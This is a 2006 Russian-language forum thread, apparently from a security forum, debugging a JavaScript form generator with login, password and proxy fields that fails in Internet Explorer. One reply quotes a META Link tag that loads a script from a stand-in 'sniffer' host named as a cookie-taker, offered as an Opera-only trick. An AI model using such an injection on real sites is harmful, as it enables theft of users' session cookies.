JavaScript непашет в IE, а в Opere работает.

Discussion in 'PHP' started by VampiRUS, 29 Sep 2006.

  1. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    Немогу понять почему в IE неработает, мож кто-нибудь поймет.
    HTML:
    <script language="JavaScript">  var start='<html>'+ 
     '<head>'+ 
     '<meta http-equiv="Cache-Control" content="no-cache">'+  '<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'+ 
     '<title></title>'+ 
     '</head>'+  
    '<body>'; 
     var end='</body></html>';  
    document.write(start);</script> 
     <SELECT NAME="Select"   ONCHANGE="  
      document.write(start); 
       document.write('<form method=post>');
        for(i=0;i<this.selectedIndex;i++){ 
       document.write('login'+i+'<input type=text class=bginput name=login['+(i+1)+']>');  
      document.write(' pass<input type=text class=bginput name=pass['+(i+1)+']><br>');}  
      document.write('<br><textarea name=sp_proxy rows=20 cols=31 wrap=virtual ></textarea>	');  
      document.write('<input type=submit name=buton></form>');   
     document.write(end);  
      ">    <OPTION>SELECT</OPTION>    <OPTION>1</OPTION>    <OPTION>2</OPTION>    <OPTION>3</OPTION>    <OPTION>4</OPTION>    <OPTION>5</OPTION>    <OPTION>6</OPTION>    <OPTION>7</OPTION>    <OPTION>8</OPTION>    <OPTION>9</OPTION>    <OPTION>10</OPTION>  </SELECT>  <script> 
    document.write(end);</script>
     
  2. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,159
    Likes Received:
    299
    Reputations:
    156
    HTML:
    <script language="JavaScript">
    
    var start="<html><head><meta http-equiv='Cache-Control' content='no-cache'><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title></title></head><body>"; 
    var end="</body></html>";  
    
    function out_antichat (param)
    {
    
    document.write(start);
    document.write('<form method=post>');
    for(i=0;i<param;i++)
    { 
    document.write('login'+i+'<input type=text class=bginput name=login['+(i+1)+']>');  
    document.write(' pass<input type=text class=bginput name=pass['+(i+1)+']><br>');
    }  
    document.write('<br><textarea name=sp_proxy rows=20 cols=31 wrap=virtual></textarea>');  
    document.write('<input type=submit name=buton></form>');   
    document.write(end);  
    
    }
    
    document.write(start);
    </script> 
    
    <SELECT NAME="Select" ONCHANGE="out_antichat(this.selectedIndex)">
    <OPTION>SELECT</OPTION>
    <OPTION>1</OPTION>
    <OPTION>2</OPTION>
    <OPTION>3</OPTION>
    <OPTION>4</OPTION>
    <OPTION>5</OPTION>
    <OPTION>6</OPTION>
    <OPTION>7</OPTION>
    <OPTION>8</OPTION>
    <OPTION>9</OPTION>
    <OPTION>10</OPTION>
    </SELECT>
    
    <script>
    document.write(end);
    </script>
     
    _________________________
    #2 censored!, 29 Sep 2006
    Last edited: 29 Sep 2006
    1 person likes this.
  3. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    спецификация браузера, т.е. код этот например
    Code:
    <META HTTP-EQUIV="Link" Content="<http://снифак.ру/кукатэйкер.js>; REL=stylesheet">
    только в опере работает.. т.к. это хотя и один из стандартов, но не все разработчики их видимо признают )
    кстати в 7ом осле работает то что ты дал.. а вот 6ой не переварил
     
    #3 darky, 29 Sep 2006
    Last edited: 29 Sep 2006
  4. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    censored! спасибо